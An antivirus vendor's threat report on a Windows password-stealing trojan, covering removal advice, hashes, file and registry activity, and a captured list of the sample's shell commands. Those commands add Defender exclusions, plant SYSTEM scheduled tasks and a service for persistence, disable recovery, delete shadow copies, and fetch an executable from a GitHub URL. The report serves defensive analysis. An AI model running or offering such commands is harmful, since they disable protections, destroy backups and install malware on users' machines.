Trojan.PSW.Agent.TRB
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Threat Level: | 80 % (High) |
| Infected Computers: | 8 |
| First Seen: | August 13, 2025 |
| Last Seen: | December 8, 2025 |
| OS(es) Affected: | Windows |
The detection of Trojan.PSW.Agent.TRB on your system indicates a potential security threat that requires immediate attention. This malware is classified as a Trojan, which is a type of malicious software designed to gain unauthorized access to a computer system. Trojans can be used to steal sensitive information, disrupt system operation, or provide a backdoor for other malicious activities. It is essential to understand the nature of this threat and take prompt action to remove it from your system.
Table of Contents
What Is Trojan.PSW.Agent.TRB?
Trojan.PSW.Agent.TRB is a type of Trojan horse malware that can infect a computer system without the user's knowledge or consent. The name itself suggests that it may be related to password theft or other malicious activities, but the exact nature of this threat can vary. Trojans are often disguised as legitimate software or attached to seemingly harmless files, making them difficult to detect. They can be spread through various means, including email attachments, infected software downloads, or exploited vulnerabilities in the system or applications.
How Trojan.PSW.Agent.TRB Operates
Once installed, Trojan.PSW.Agent.TRB can operate in the background, hiding from the user and security software. It may communicate with its command and control servers to receive instructions or send stolen data. The malware can also create backdoors, allowing remote access to the infected system. This can lead to further malicious activities, such as data theft, keylogging, or the installation of additional malware. The exact operation of Trojan.PSW.Agent.TRB can depend on its specific design and the intentions of its creators.
Symptoms of Infection
The symptoms of a Trojan.PSW.Agent.TRB infection can vary, but common signs include unusual system behavior, such as slow performance, unexpected crashes, or unfamiliar programs running in the background. You may also notice suspicious network activity, such as unexpected data transfers or connections to unknown servers. Additionally, you might encounter pop-ups, ads, or other unwanted content. However, some Trojans can operate silently, making them difficult to detect without proper security software.
How to Remove Trojan.PSW.Agent.TRB
- Boot your computer in Safe Mode with Networking to prevent the malware from loading and to allow for easier removal.
- Use a reputable anti-malware tool, such as SpyHunter, to perform a full scan of your system. This can help detect and remove Trojan.PSW.Agent.TRB and other potential threats.
- Uninstall any suspicious programs or software that you do not recognize or no longer need. Be cautious, as some malware can disguise itself as legitimate applications.
- Reset your web browsers, including Chrome, Firefox, and Edge, to their default settings to remove any malicious extensions or settings that the Trojan might have altered.
- Reboot your computer and perform another scan with your anti-malware tool to ensure that the threat has been fully removed.
Conclusion
Removing Trojan.PSW.Agent.TRB from your system is crucial to prevent further damage and protect your sensitive information. By following the steps outlined above and maintaining good security practices, such as keeping your operating system and software up to date, using strong antivirus protection, and being cautious with email attachments and downloads, you can significantly reduce the risk of future infections. Remember, vigilance and proactive security measures are key to safeguarding your digital environment.
Analysis Report
General information
| Family Name: | Trojan.PSW.Agent.TRB |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
c7392e3fb6e456e095137e56daa6f747
SHA1:
b22ed1584c795c59051ea14d5c5570bb9bfdd352
SHA256:
5FB7A9D21107C484671AC86913293C3B903C53C7658C35FF2194C4177AC51875
File Size:
418.82 KB, 418816 bytes
|
Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show More
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Company Name | Microsoft Corporation |
| File Description | Managing the current account session |
| File Version | 10.0.19041.746 (WinBuild.160101.0800) |
| Internal Name | sessionuserhost.exe |
| Legal Copyright | © Microsoft Corporation. All rights reserved. |
| Original Filename | sessionuserhost.exe |
| Product Name | Microsoft® Windows® Operating System |
| Product Version | 10.0.19041.746 |
File Traits
- fptable
- GetConsoleWindow
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 1,481 |
|---|---|
| Potentially Malicious Blocks: | 65 |
| Whitelisted Blocks: | 1,410 |
| Unknown Blocks: | 6 |
Visual Map
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0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \\?\volume{a7c706ea-0000-0000-0000-100000000000}\boot\bcd | Read Data,Read Control,Write Data |
| \\?\volume{a7c706ea-0000-0000-0000-100000000000}\boot\bcd | Write Attributes |
| \device\namedpipe\pshost.134079174553792978.8528.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_l1jcikcy.2i3.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_th2rcjzb.elm.psm1 | Generic Write,Read Attributes |
| c:\windows\diagerr.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\windows\diagwrn.xml | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\windows\setupact.log | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\windows\setuperr.log | Generic Read,Write Data,Write Attributes,Write extended,Append data |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet | RegNtPreCreateKey | |
| HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | Ȱ芞塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 욇芢塌ǜ | RegNtPreCreateKey |
Show More
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 保芬塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 保芬塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 녆苍塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 憚苞塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 햜茒塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 駡茗塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 䠵荦塌ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 滀荭塌ǜ | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
Show More
25 additional items are not displayed above. |
| Process Manipulation Evasion |
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| Process Shell Execute |
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| Anti Debug |
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| User Data Access |
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| Process Terminate |
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| Network Urlomon |
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| Encryption Used |
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| Other Suspicious |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
runas C:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\ProgramData\
|
runas C:\Windows\System32\cmd.exe /c sc create InputService binPath=C:\ProgramData\sessionuserhost.exe DisplayName=MicrosoftInputService type=own start=auto
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runas C:\Windows\System32\cmd.exe /c reagentc /disable
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\ProgramData\
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runas C:\Windows\System32\cmd.exe /c vssadmin delete shadows /all /quiet
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C:\WINDOWS\system32\sc.exe sc create InputService binPath=C:\ProgramData\sessionuserhost.exe DisplayName=MicrosoftInputService type=own start=auto
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WriteConsole: [SC] CreateServi
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn WinLogOn /tr C:\ProgramData\sessionuserhost.exe /sc onlogon /rl HIGHEST
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn MicrosoftTask /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData'" /sc hourly /mo 1 /rl HIGHEST
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn WindowsUpdateTask /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri 'https://github.com/ANTILOSE-DEV/f/raw/refs/heads/main/standoff.exe' -OutFile 'C:\ProgramData\sessionuserhost.exe'" /sc hourly /mo 1 /rl HIGHEST
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C:\WINDOWS\system32\ReAgentc.exe reagentc /disable
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runas C:\Windows\System32\cmd.exe /c schtasks /create /ru System /tn WindowsPowershellTask /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Start-Process 'C:\ProgramData\sessionuserhost.exe'" /sc hourly /mo 1 /rl HIGHEST
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C:\WINDOWS\system32\vssadmin.exe vssadmin delete shadows /all /quiet
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WriteConsole: Access is denied
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C:\WINDOWS\system32\schtasks.exe schtasks /create /ru System /tn WinLogOn /tr C:\ProgramData\sessionuserhost.exe /sc onlogon /rl HIGHEST
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WriteConsole: Access is denied
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WriteConsole: REAGENTC.EXE: Wi
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